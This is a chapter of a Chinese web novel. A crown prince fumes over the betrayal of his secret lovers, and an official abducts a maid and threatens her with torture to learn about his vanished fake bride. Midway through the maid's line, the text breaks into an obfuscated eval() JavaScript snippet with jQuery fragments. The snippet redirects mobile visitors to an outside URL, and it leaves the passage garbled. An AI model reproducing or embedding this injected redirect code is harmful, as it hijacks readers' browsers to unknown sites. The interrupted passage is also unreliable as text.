默认冷灰
24号文字
方正启体

50. 入骨恨

作者:小银山本书字数:K更新时间:
    “殿下,那边把东西送来了,您可以安心了。另外赛宝楼开张三月,赚了不少。”


    宫室里掌的灯不多,昏幽幽的,太子侍从吴满走进来,对坐在阴影里的主子行完礼,将两本薄薄的册子放到案上。


    赵骞倚着坐榻,手懒得伸似的,用修长指尖先勾来黑皮那本。他飞速看完赌坊的账,然后才坐直身子,捋开宽袖,拿起那本得来不易的朱封旧账。


    边翻边嗤笑,“晏元昭啊晏元昭,还以为你和孤一样,对女人不感兴趣,没想到你也有中美人计的一天。”


    他将账簿移到金狮灯盏旁,烛焰倏然窜得长了,将薄脆的纸页吞噬成灰。


    “沈府那个小娘子......”赵骞竭力回想在北微山庄假山里见到的女郎面容,“姿色平平,本事不小,江湖上真是奇人辈出。”


    “此女已经功成身退,远遁四海,晏元昭现在恐怕还蒙在鼓里,到处找他的新婚夫人呢。”吴满笑道。


    “哦?这么绝情!孤还以为她会贪恋公主府富贵,选择留在他身边。”赵骞颇为意外,半叹半嘲道,“晏元昭丢了夫人,也是有些可怜呐。”


    烛光将他秀净脸面上的笑容照得发亮,看起来有些诡异。账簿烧得只剩灰了,他掸去指尖上的黑烬,又用帕子拭了一遍手。


    吴满见殿下眉间凝了数日的阴云稍散,试探道:“殿下,药已准备好了,您今日要不要试一试?”


    赵骞眼皮一抬,“孤那日让你找药,只是随口一提,你那么积极做什么!孤是男人,又不是你们阉人,难道还成不了事,非得用药?”


    吴满恭恭敬敬道:“殿下龙威虎壮,当然能成事,只是有药物相助,事半功倍。这几日正好是太子妃最易受孕的日子,所以奴婢才心急了一些,也是想您早日生下小皇孙,让陛下放下心。”


    赵骞阴着脸不说话。


    好男色不好女色这件事,他一直不觉得是什么大问题。看上哪个男人,就把对方姊妹娶回来,既掩人耳目,又两相牵制,不会泄露秘密。


    李家突然垮台,李景和兄妹俩跪着求他救命,他便把人从狱里捞出来藏在落霞山,后来陈虎出事,他也如法炮制。


    紫阳观隐在落霞山深处,乏人问津,赵骞得闲就去几次。陈李二人落了难,一切都依赖他,对他更加着意小心伺候,三人敞着门窗尽情欢好,比从前还要快意。


    赵骞心里痛快,晏元昭维护朝廷纲纪的铁鞭抽到他的男宠身上,反倒让他快乐加倍了!


    可谁想到这么隐秘的事情,竟被父皇得知了。


    就是在他恭贺晏元昭新婚那日,他踏进宫门,被父皇骂了个狗血淋头。起初他以为是骂他徇私枉法,窝藏罪犯,可听下来越听越慌,父皇竟是在骂他耽溺男色,阴阳不谐,乃至成亲数年膝下无子!


    父皇不仅知道他藏匿那两人,还洞悉他与他们的关系,派了教养嬷嬷去问太子妃话,虽然太子妃尽力为他遮掩,但父皇还是疑心他不跟妻妾同房。


    紫阳观如此偏僻,不可能被外人探知,一定是被自己人出卖的。


    究竟是谁告的密?


    “你不需要知道。”隆庆帝戳着他胸口,气息急促,“朕把一干人等都发落了,那两人已经去了他们该去的地方,你把你的断袖癖戒掉,不可再做这种腌臜事。朕会让嬷嬷去东宫监督你临幸妃嫔,务必尽快诞下后嗣,你要是连皇室血脉都延续不了,何谈令大周江山岁岁长青,绵延永固?这储君的位子,你也不用坐了!”


    皇帝肝火大动,训完还不解气,开始翻几月前他的旧账,赵骞没办法,腿一弯抱着皇帝大腿就开始哭,一把鼻涕一把泪,到底博了父皇几分舐犊之情,这才被允许回去。


    赵骞回了东宫,把手下人审了一顿,打了一顿,也没查到是谁走漏的消息。


    几日来他为此心焦烦躁,连晏元昭大婚的热闹都没去看。现在也是,拿回账簿的喜悦须臾间淡褪。


    眼前涌来许多画面,床榻上太子妃见他和衣睡下时的欲言又止,父皇震惊失望的眼神,还有栩栩如生的父皇宣布废立太子的情景......


    后者他每回被父皇训斥过后,都会想象一回,这一回想象得尤其完整细致,甚至能看到越王那张橘子皮老脸上的得意笑容。


    赵骞咬着牙瞪吴满,“这些道理,你以为我不懂,要你来说?我问你,陈虎和李景和的下落,有消息了么?”


    以隆庆帝的手段,“该去的地方”很可能指的不是岭南,而是黄泉。这两个男宠和他好了几年,赵骞不死心,还是想找一找。


    吴满低下头,“奴婢无能,还没有打探到。”


    “父皇是怎么知道的此事,查到了吗?”


    “......奴婢无能。”


    天子出手,做得干干净净。紫阳观已成空观,就是想查,也无从查起。至于从皇帝身边内侍嘴里套消息,他哪有这个胆子。


    赵骞扬手拿起桌上的账册丢向他脑袋,“废物!”


    吴满不敢闪避,结结实实挨了,拾起账册,头垂得更低。


    赵骞恨恨道:“到底是谁背叛了孤,把孤陷害到如此境地,你给我继续查,一定要查出来!”


    “是,殿下。”


    吴满喏喏应下,转身要退,忽而被赵骞叫住。


    忿忿的声音从牙列里逼出来,“把药拿来吧。”


    ......


    晏元昭已经几夜都没睡好觉了。


    他很少失眠,上一次这样持续地难以入睡,还是少年丧父的那段日子。


    白日里灼烧的怒火在夜晚平息下来,化作切肤的恨意,浸透心肺。


    他冷静地披衣坐在窗前,房里很安静,梨茸不在。他一看到梨茸,就会想到她抱猫倚榻,笑吟吟地看他的样子,所以不让下人将猫放进来。


    但他的的确确又是在想她。


    四个月里与她相处的每一刻都被他仔细回忆了一遍。他拿着一把刀,挑开她言笑晏晏的假面,试图剥找出她在他面前说的每一句谎话。


    颐园、赌坊、落霞山......


    根本找不完。


    他回忆了一遍又一遍,每一遍都有新的发现。最后他终于能确定,她就是个彻头彻尾的骗子,嘴里一句实话都没有。


    咚咚两声,连舒叩门来报,“主子,人弄来了。”


    晏元昭起身随连舒走进耳房。


    一脸惊恐的小娘子委顿在地,手脚被缚,嘴里堵着一块帕子,见到两人,呜呜地叫。


    连舒取下帕子,警告她,“老实回答郎君的问题。”


    小桃苦着脸点点头,抬头看了眼面沉如水的晏元昭,又飞快地看向地面。


    从阿姐盖上喜帕离府,她就内心惴惴,等待事发。后来果真事发,面对沈宴,她装出惊讶的样子,正要赌咒发誓说她完全不知阿姐所为,沈宴却什么也没问,只是急匆匆地说晏元昭对她起疑,他给她打了掩护,过几天会送她出府待一段时间,避避风头。


    然而今夜她刚准备歇下,就被人敲昏套上麻袋送到这里来了。


    不知道沈宴是怎么打掩护的......


    晏元昭垂目看着小桃,“你和冒充沈娘子的那个骗子,是同谋?”


    小桃死命摇头,“不是,我是她在上京途中买来的丫鬟,我根本不知道她是假的沈娘子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15173521|158671||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”


    “既然你这么无辜,那沈宴为何要撒谎,说你已经离开沈府?”


    “他担心您御史之威会吓到我,所以不敢让我见您。”


    晏元昭冷冷道:“可我看你在本官面前,一点都不害怕!”


    小桃牙齿上下发抖,她开始害怕了。


    “本官不想浪费时间。”晏元昭面无表情,“你不愿意坦白,那就去牢里审,各种刑上一遍,到时候想不开口都难。你觉得如何?”


    若不是沈宴那明显此地无银三百两的说辞,晏元昭还真不一定把小桃当回事。毕竟她如果真是骗子的同谋,没道理选择继续留在沈府,不和骗子一起行动。


    他意识到小桃有异,没当场逼迫沈府交出人,是不想让场面闹得更难看。


    房里静悄悄的,晏元昭没再说话,等着小桃回答。


    小桃身上冷汗一层层地冒,快要哭出来了。他明明只是神色淡淡地看着她,她却觉得在这样的目光下,心里的秘密无处遁形,她撑不住了。


    “假沈娘子是我的结拜阿姐,我们一起来沈府图富贵,我知道她的一些事,但我不算是她的同谋......”小桃嗫嚅道。


    “看来本官疑惑的地方,可以从你这里找到答案。”


    “您,您问吧。”


    小桃被绳子绑起来的双手不安地相互摩挲,她不敢看晏元昭冷煞的脸色,埋着头,愈发地僵硬。


    等了好一会儿,都没听见晏元昭发问。


    正当她忍不住要大着胆子抬头看他时,她听到他的声音飘来。


    “她叫什么名字?”


    小桃一怔,“阿姐有很多假名,我也不知道她真名叫什么,我只叫她阿姐。”


    “按沈宴的说法,她以骗人钱财为生?”


    “差不多,”小桃略迟疑,“但也不全是。”


    “把你怎么和她认识的,去过哪里做过什么,到谁派你们进的沈府,仔仔细细告诉我。”


    耳房里烛火幽幽,晏元昭吩咐完,踱步到窗前对着月亮,留给小桃一道冷峻的背影。


    小桃颓着肩,慢慢开口。


    “我和阿姐相识于两年前,那时我是春风楼里的一个小丫鬟,春风楼是江南道林州城里最大的花楼,阿姐小时候在楼里待过,后来出去了,攒了很多钱,回来赎一位她的旧相识。可是不巧,那位旧相识前一年过了世,她来晚了,我特别想逃离春风楼,见她有钱,就求她把我赎出去,我愿意当牛做马服侍她。她答应了。”


    “她赎了我,但并没让我做她丫鬟,反而和我结拜,做我的阿姐。我们在江南待了几个月,后来没钱了,她半夜潜进城里一家大商户,偷了一尊金佛,我们用金佛换的钱,又去江北玩了两个月......”


    小桃一边回忆,一边断续说着。


    她看晏元昭长久地背对她,一动不动,也不知是不是在听,她愈发迟疑了,说到阿姐在东川卖了上百颗以糖丸冒充的长寿金丹时,卡了一会儿。


    “继续说。”


    小桃只得继续。


    “......今年年初我们从东川到了河东,有人找到阿姐,要她假扮沈府五娘子进京,他愿以百金相酬......”


    低低的女声在寂静的房里喁喁不停,落在窗前郎君身上的月光越来越冷,越来越沉。


    “来京后,阿姐不愿,不愿去勾引您,说她不卖身,除非加钱,面具人同意了......”


    晏元昭扶着窗棂的手扣得愈发紧,随着手收成拳,手背上凸起青色的筋络,刀锋一样凛冽。


    他一定会抓到她,一定。


    不洗此辱,他不姓晏。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)